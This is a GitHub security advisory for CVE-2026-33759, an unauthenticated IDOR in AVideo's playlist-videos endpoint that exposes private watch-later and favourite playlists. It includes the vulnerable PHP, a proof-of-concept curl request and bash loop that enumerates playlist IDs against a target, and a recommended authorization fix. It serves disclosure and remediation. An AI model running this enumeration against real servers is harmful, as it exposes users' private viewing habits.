GHSA-75QQ-68M8-PVFR
Vulnerability from github – Published: 2026-03-26 18:05 – Updated: 2026-03-27 21:37Summary
The objects/playlistsVideos.json.php endpoint returns the full video contents of any playlist by ID without any authentication or authorization check. Private playlists (including watch_later and favorite types) are correctly hidden from listing endpoints via playlistsFromUser.json.php, but their contents are directly accessible through this endpoint by providing the sequential integer playlists_id parameter.
Details
The endpoint at objects/playlistsVideos.json.php accepts a playlists_id parameter and directly calls PlayList::getVideosFromPlaylist() with no ownership or visibility validation:
// objects/playlistsVideos.json.php:24-28
if (empty($_REQUEST['playlists_id'])) {
die('Play List can not be empty');
}
require_once './playlist.php';
$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);
The getVideosFromPlaylist() method at objects/playlist.php:588 performs a SQL query joining playlists_has_videos, videos, and users tables with no authorization filter:
// objects/playlist.php:592-597
$sql = "SELECT v.*, p.*,v.created as cre, p.`order` as video_order "
. " FROM playlists_has_videos p "
. " LEFT JOIN videos as v ON videos_id = v.id "
. " LEFT JOIN users u ON u.id = v.users_id "
. " WHERE playlists_id = ? AND v.status != 'i' ";
In contrast, the listing endpoint playlistsFromUser.json.php correctly enforces visibility at lines 23-27:
// objects/playlistsFromUser.json.php:23-27
$publicOnly = true;
if (User::isLogged() && (User::getId() == $requestedUserId || User::isAdmin())) {
$publicOnly = false;
}
$row = PlayList::getAllFromUser($requestedUserId, $publicOnly);
This creates a bypass: even though private playlists are hidden from listing, their contents are fully exposed via the videos endpoint. Playlist IDs are sequential integers, making enumeration trivial. The .htaccess rewrite at line 356 maps the clean URL playListsVideos.json to this endpoint.
PoC
Step 1: Enumerate playlist contents without authentication
# No cookies or auth headers needed. Increment playlists_id to enumerate.
curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=1" | python3 -m json.tool
Expected: Returns full video metadata array for playlist ID 1, including video titles, filenames, URLs, user info, comments, and subscriber counts.
Step 2: Enumerate private playlists (watch_later, favorite)
# Iterate through sequential IDs to find private playlists
for i in $(seq 1 50); do
result=$(curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=$i")
count=$(echo "$result" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
if [ "$count" != "0" ] && [ -n "$count" ]; then
echo "Playlist $i: $count videos"
fi
done
Step 3: Confirm the listing endpoint correctly hides private playlists
# This correctly returns only public playlists for user 1
curl -s "http://TARGET/objects/playlistsFromUser.json.php?users_id=1" | python3 -m json.tool
# Compare: playlistsVideos.json.php returns contents of ALL playlists including private ones
Impact
An unauthenticated attacker can:
- Enumerate all users' watch history by accessing
watch_laterplaylist contents - Enumerate all users' favorites by accessing
favoriteplaylist contents - Access unlisted/private custom playlists that were intentionally hidden from public view
- Harvest video metadata including filenames, URLs, user information, and comments for videos in private playlists
This is a privacy violation that exposes user viewing habits and content preferences. The sequential integer IDs make bulk enumeration straightforward.
Recommended Fix
Add authorization checks to objects/playlistsVideos.json.php before returning playlist contents:
// objects/playlistsVideos.json.php — add after line 27, before getVideosFromPlaylist()
require_once $global['systemRootPath'] . 'plugin/PlayLists/PlayLists.php';
$pl = new PlayList($_REQUEST['playlists_id']);
$plStatus = $pl->getStatus();
// Public playlists are accessible to everyone
if ($plStatus !== 'public') {
// Private, unlisted, watch_later, and favorite playlists require ownership or admin
if (!User::isLogged() || (User::getId() != $pl->getUsers_id() && !User::isAdmin())) {
header('HTTP/1.1 403 Forbidden');
die(json_encode(['error' => 'You do not have permission to view this playlist']));
}
}
$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33759"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:05:40Z",
"nvd_published_at": "2026-03-27T15:16:58Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `objects/playlistsVideos.json.php` endpoint returns the full video contents of any playlist by ID without any authentication or authorization check. Private playlists (including `watch_later` and `favorite` types) are correctly hidden from listing endpoints via `playlistsFromUser.json.php`, but their contents are directly accessible through this endpoint by providing the sequential integer `playlists_id` parameter.\n\n## Details\n\nThe endpoint at `objects/playlistsVideos.json.php` accepts a `playlists_id` parameter and directly calls `PlayList::getVideosFromPlaylist()` with no ownership or visibility validation:\n\n```php\n// objects/playlistsVideos.json.php:24-28\nif (empty($_REQUEST[\u0027playlists_id\u0027])) {\n die(\u0027Play List can not be empty\u0027);\n}\nrequire_once \u0027./playlist.php\u0027;\n$videos = PlayList::getVideosFromPlaylist($_REQUEST[\u0027playlists_id\u0027]);\n```\n\nThe `getVideosFromPlaylist()` method at `objects/playlist.php:588` performs a SQL query joining `playlists_has_videos`, `videos`, and `users` tables with no authorization filter:\n\n```php\n// objects/playlist.php:592-597\n$sql = \"SELECT v.*, p.*,v.created as cre, p.`order` as video_order \"\n . \" FROM playlists_has_videos p \"\n . \" LEFT JOIN videos as v ON videos_id = v.id \"\n . \" LEFT JOIN users u ON u.id = v.users_id \"\n . \" WHERE playlists_id = ? AND v.status != \u0027i\u0027 \";\n```\n\nIn contrast, the listing endpoint `playlistsFromUser.json.php` correctly enforces visibility at lines 23-27:\n\n```php\n// objects/playlistsFromUser.json.php:23-27\n$publicOnly = true;\nif (User::isLogged() \u0026\u0026 (User::getId() == $requestedUserId || User::isAdmin())) {\n $publicOnly = false;\n}\n$row = PlayList::getAllFromUser($requestedUserId, $publicOnly);\n```\n\nThis creates a bypass: even though private playlists are hidden from listing, their contents are fully exposed via the videos endpoint. Playlist IDs are sequential integers, making enumeration trivial. The `.htaccess` rewrite at line 356 maps the clean URL `playListsVideos.json` to this endpoint.\n\n## PoC\n\n**Step 1: Enumerate playlist contents without authentication**\n\n```bash\n# No cookies or auth headers needed. Increment playlists_id to enumerate.\ncurl -s \"http://TARGET/objects/playlistsVideos.json.php?playlists_id=1\" | python3 -m json.tool\n```\n\nExpected: Returns full video metadata array for playlist ID 1, including video titles, filenames, URLs, user info, comments, and subscriber counts.\n\n**Step 2: Enumerate private playlists (watch_later, favorite)**\n\n```bash\n# Iterate through sequential IDs to find private playlists\nfor i in $(seq 1 50); do\n result=$(curl -s \"http://TARGET/objects/playlistsVideos.json.php?playlists_id=$i\")\n count=$(echo \"$result\" | python3 -c \"import sys,json; print(len(json.load(sys.stdin)))\" 2\u003e/dev/null)\n if [ \"$count\" != \"0\" ] \u0026\u0026 [ -n \"$count\" ]; then\n echo \"Playlist $i: $count videos\"\n fi\ndone\n```\n\n**Step 3: Confirm the listing endpoint correctly hides private playlists**\n\n```bash\n# This correctly returns only public playlists for user 1\ncurl -s \"http://TARGET/objects/playlistsFromUser.json.php?users_id=1\" | python3 -m json.tool\n# Compare: playlistsVideos.json.php returns contents of ALL playlists including private ones\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- **Enumerate all users\u0027 watch history** by accessing `watch_later` playlist contents\n- **Enumerate all users\u0027 favorites** by accessing `favorite` playlist contents\n- **Access unlisted/private custom playlists** that were intentionally hidden from public view\n- **Harvest video metadata** including filenames, URLs, user information, and comments for videos in private playlists\n\nThis is a privacy violation that exposes user viewing habits and content preferences. The sequential integer IDs make bulk enumeration straightforward.\n\n## Recommended Fix\n\nAdd authorization checks to `objects/playlistsVideos.json.php` before returning playlist contents:\n\n```php\n// objects/playlistsVideos.json.php \u2014 add after line 27, before getVideosFromPlaylist()\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027plugin/PlayLists/PlayLists.php\u0027;\n\n$pl = new PlayList($_REQUEST[\u0027playlists_id\u0027]);\n$plStatus = $pl-\u003egetStatus();\n\n// Public playlists are accessible to everyone\nif ($plStatus !== \u0027public\u0027) {\n // Private, unlisted, watch_later, and favorite playlists require ownership or admin\n if (!User::isLogged() || (User::getId() != $pl-\u003egetUsers_id() \u0026\u0026 !User::isAdmin())) {\n header(\u0027HTTP/1.1 403 Forbidden\u0027);\n die(json_encode([\u0027error\u0027 =\u003e \u0027You do not have permission to view this playlist\u0027]));\n }\n}\n\n$videos = PlayList::getVideosFromPlaylist($_REQUEST[\u0027playlists_id\u0027]);\n```",
"id": "GHSA-75qq-68m8-pvfr",
"modified": "2026-03-27T21:37:49Z",
"published": "2026-03-26T18:05:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-75qq-68m8-pvfr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33759"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/bb716fbece656c9fe39784f11e4e822b5867f1ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: Unauthenticated IDOR in playlistsVideos.json.php Exposes Private Playlist Contents"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.